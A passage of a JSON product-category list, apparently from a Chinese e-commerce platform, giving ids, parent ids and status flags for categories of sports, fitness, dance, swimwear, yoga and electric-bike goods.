,"extra":null,"is_get_child":false},{"id":24492,"name":"清洁保养装备","parent_cid":20515,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24454,"name":"粘合剂/胶水","parent_cid":20515,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24183,"name":"弓","parent_cid":20494,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24184,"name":"箭","parent_cid":20494,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24187,"name":"箭靶","parent_cid":20494,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24566,"name":"臂力器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24576,"name":"弹力棒/健身棒","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24582,"name":"单双杠/引体向上","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24553,"name":"吊环","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24552,"name":"ems微电流穿戴健身仪","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24584,"name":"俯卧撑架","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24585,"name":"负重装备","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24556,"name":"杠铃","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24559,"name":"呼啦圈","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24555,"name":"壶铃","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24572,"name":"健腹轮/健腹器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24592,"name":"肩颈辅助训练器械","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24574,"name":"健身锤/按摩捶","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24589,"name":"健身器材套装","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24573,"name":"健身球/保健球","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24586,"name":"健身踏板/韵律踏板","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24558,"name":"健身椅","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24568,"name":"计步器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24562,"name":"筋膜刀","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24563,"name":"筋膜枪","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24565,"name":"筋膜球","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24564,"name":"筋膜柱","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24567,"name":"计时器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24577,"name":"拉力绳/拉力器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24590,"name":"脸部肌肉训练器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24583,"name":"美腿机/腿部训练器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24587,"name":"美臀训练器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24578,"name":"美腰机/挺腰器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24560,"name":"扭腰盘","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24569,"name":"踏步机","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24557,"name":"跳绳","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24580,"name":"跳跳环/闪光跳","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24581,"name":"跳跳球/蹦蹦球","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24579,"name":"腕力器/腕力球","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24575,"name":"娃娃跳/弹跳器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24561,"name":"握力器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24591,"name":"小腿拉伸训练器/拉筋训练器","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24554,"name":"哑铃","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24570,"name":"仰卧板/健腹板","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24593,"name":"中小型健身器材配件区","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24588,"name":"足底按摩垫","parent_cid":20527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24196,"name":"杆盒/杆筒/杆袋","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24194,"name":"皮头/杆头","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24244,"name":"皮头胶水","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24236,"name":"巧粉夹/巧粉袋","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24202,"name":"巧克粉","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24286,"name":"球杆保养工具","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24274,"name":"球杆保养油","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24275,"name":"球杆加长器","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24197,"name":"台尼/台球布","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24185,"name":"台球","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24200,"name":"台球杆","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24242,"name":"台球挂件","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24273,"name":"台球架杆器","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24243,"name":"台球配件","parent_cid":20492,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24271,"name":"台球三角架","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24285,"name":"台球三指手套","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24272,"name":"台球修杆器","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24201,"name":"台球桌","parent_cid":20492,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24514,"name":"负重设备","parent_cid":20523,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24502,"name":"剑道","parent_cid":20523,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24510,"name":"九节鞭","parent_cid":20523,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24512,"name":"空手道","parent_cid":20523,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24507,"name":"拳击/散打/泰拳","parent_cid":20523,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24505,"name":"柔道","parent_cid":20523,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24515,"name":"三节甩棍/伸缩棍","parent_cid":20523,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24504,"name":"摔跤","parent_cid":20523,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24511,"name":"双截棍","parent_cid":20523,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24503,"name":"太极","parent_cid":20523,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24513,"name":"跆拳道","parent_cid":20523,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24500,"name":"T型棍/T型拐","parent_cid":20523,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24801,"name":"裁判用具","parent_cid":20550,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24790,"name":"海绵垫/体操垫","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24780,"name":"接力棒","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24782,"name":"跨栏架","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24763,"name":"链球","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24762,"name":"铅球","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24786,"name":"铅球架","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24781,"name":"起跑器","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24802,"name":"起跑器架","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24766,"name":"山羊/跳马/跳箱","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24812,"name":"田径场地辅助用具","parent_cid":20550,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24805,"name":"田径运动服","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24806,"name":"田径运动鞋","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24783,"name":"跳高杆","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24784,"name":"跳高架","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24761,"name":"铁饼","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24785,"name":"铁饼架","parent_cid":20550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24233,"name":"避震器","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24192,"name":"网球","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24227,"name":"网球包","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24230,"name":"网球服","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24228,"name":"网球帽","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24229,"name":"网球拍","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24295,"name":"网球赛事纪念","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24231,"name":"网球线","parent_cid":20500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24294,"name":"网球训练用品","parent_cid":20500,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24408,"name":"芭蕾舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24410,"name":"藏族舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24409,"name":"草裙舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24403,"name":"朝鲜舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24397,"name":"傣族舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24407,"name":"肚皮舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24412,"name":"钢管舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24399,"name":"广场舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24396,"name":"健美操","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24413,"name":"健美操>健美操鞋","parent_cid":20510,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24395,"name":"街舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24404,"name":"爵士舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24400,"name":"拉丁舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24398,"name":"啦啦队","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24401,"name":"摩登舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24394,"name":"体操","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24411,"name":"踢踏舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24405,"name":"现代舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24402,"name":"新疆舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24406,"name":"秧歌舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24414,"name":"中国古典舞","parent_cid":20510,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24550,"name":"草地铺设及设备","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24545,"name":"场馆灯光设备","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24546,"name":"场馆音响设备","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24526,"name":"计时/显示设备","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24525,"name":"塑胶/运动地板","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24539,"name":"泳池设备","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24543,"name":"游乐场设施","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24524,"name":"座椅","parent_cid":20525,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24210,"name":"比基尼","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24249,"name":"分体泳衣","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24195,"name":"裹裙/披纱","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24253,"name":"连体泳衣","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24270,"name":"男士泳衣/裤","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24269,"name":"女士泳衣/裤","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24283,"name":"情侣装泳衣/裤","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24277,"name":"亲子家庭装","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24211,"name":"沙滩裤","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24250,"name":"戏水玩具","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24213,"name":"游泳池","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24212,"name":"游泳圈","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24251,"name":"游泳拖鞋","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24252,"name":"游泳装备","parent_cid":20497,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24278,"name":"游泳专用包","parent_cid":20497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24214,"name":"倒立凳","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24254,"name":"健身球架","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24290,"name":"空中瑜伽吊床","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24215,"name":"冥想垫","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24299,"name":"普拉提背部训练器","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24237,"name":"伸展带/瑜伽绳","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24262,"name":"瘦手臂套","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24261,"name":"瘦小腿套","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24190,"name":"眼枕","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24216,"name":"瑜伽包","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24217,"name":"瑜伽垫","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24297,"name":"瑜伽垫捆绑带/毛扣","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24255,"name":"瑜伽发带","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24258,"name":"瑜伽服饰","parent_cid":20498,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24288,"name":"瑜伽服用胸垫","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24279,"name":"瑜伽工艺品","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24219,"name":"瑜伽环","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24280,"name":"瑜伽拉力带","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24257,"name":"瑜伽披肩","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24260,"name":"瑜伽铺巾","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24300,"name":"瑜伽清理鼻腔用具","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24220,"name":"瑜伽球","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24240,"name":"瑜伽圈/普拉提圈","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24256,"name":"瑜伽手套","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24284,"name":"瑜伽舒展器/健康架","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24298,"name":"瑜伽体位图靠垫","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24259,"name":"瑜伽袜子","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24289,"name":"瑜伽香薰精油","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24222,"name":"瑜伽鞋","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24218,"name":"瑜伽椅","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24221,"name":"瑜伽砖","parent_cid":20498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24497,"name":"更多羽毛球装备","parent_cid":20518,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24499,"name":"更多羽毛球装备备","parent_cid":20518,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24451,"name":"羽毛球","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24466,"name":"羽毛球包","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24493,"name":"羽毛球发球机","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24468,"name":"羽毛球服","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24467,"name":"羽毛球拍","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24478,"name":"羽毛球拍线","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24473,"name":"羽毛球网/网柱/网架","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24494,"name":"羽毛球训练器","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24453,"name":"运动袜","parent_cid":20518,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24811,"name":"运动紧急用品","parent_cid":20551,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34401,"name":"手胶/吸汗带","parent_cid":34048,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34400,"name":"运动毛巾","parent_cid":34048,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24264,"name":"裁判使用","parent_cid":20501,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24263,"name":"球迷用品","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24281,"name":"守门员手套","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24268,"name":"训练背心(分组对抗)","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24296,"name":"训练辅助用具","parent_cid":20501,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24193,"name":"足球","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24234,"name":"足球服","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24266,"name":"足球球门","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24265,"name":"足球球网","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24235,"name":"足球袜","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24267,"name":"足球鞋钉","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24282,"name":"足球战术板","parent_cid":20501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25668,"name":"保险丝","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25669,"name":"保险丝座","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25682,"name":"电动车车篮/车筐","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25688,"name":"电动车充电插座","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25670,"name":"电动车灯","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25675,"name":"电动车电池","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25685,"name":"电动车反光镜","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25680,"name":"电动车飞轮","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25679,"name":"电动车辐条","parent_cid":20834,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25686,"name":"电动车后备箱","p